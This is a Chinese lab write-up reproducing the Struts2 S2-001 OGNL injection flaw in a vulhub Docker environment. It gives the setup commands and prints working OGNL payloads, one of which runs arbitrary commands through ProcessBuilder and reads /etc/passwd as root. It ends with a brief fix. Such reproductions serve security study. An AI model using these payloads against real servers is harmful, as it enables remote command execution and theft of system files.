1. 程式人生 > 實用技巧 >S2-001漏洞復現

S2-001漏洞復現

struts2-001

該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行

搭建靶機環境:(前提 docker、vulhub 環境已搭建) 
1.進入vulhub目錄下漏洞環境的目錄 cd …/vulhub-master/structs/s2-001
2.自動編譯化環境 docker-compose build
3.啟動整個編譯環境 docker-compose up -d
4.檢視是否啟動成功 docker ps(正在執行的環境)

預設訪問

http://192.168.80.130:8080/

因為已經知道了是什麼漏洞;

而且後端是通過OGNL 表示式解析返回之前提交的資料;

既然已經知道這裡有漏洞了 那我們現在就直接手動測試一下

(工具測試.........太......快.......了..就沒意思了)

構造測試語句:

返回

接著測試

返回

返回 2 存在漏洞

發現password 括號裡的值又返回來了

ok~ 確定漏洞

構造payload:

%{"tomcatBinDir{
"@java.lang.System@getProperty("use.dir")+"}"}

其實漏洞的payload在 漏洞目錄下的Readme.md裡面有

語句執行,檢視返回的語句是 /usr/local/tomcat 既是tomcat執行的語句

得到了 web路徑 ,繼續構造語句

構造payload 獲取Web路徑

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse
").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

構造payload執行任意命令

(ps:修改pwd就可以)

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

ok, 可以看見當前是 root使用者許可權

還可以修改成 "cat","/etc/passwd"

payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

成功讀取 /etc/passwd

ok,復現完成

此時記得

#關閉docker 環境

docker-compose down -v 

修復方式:

改變ognl表示式的解析方法從而不會產生遞迴解析,使用者的輸入也不會再解析執行。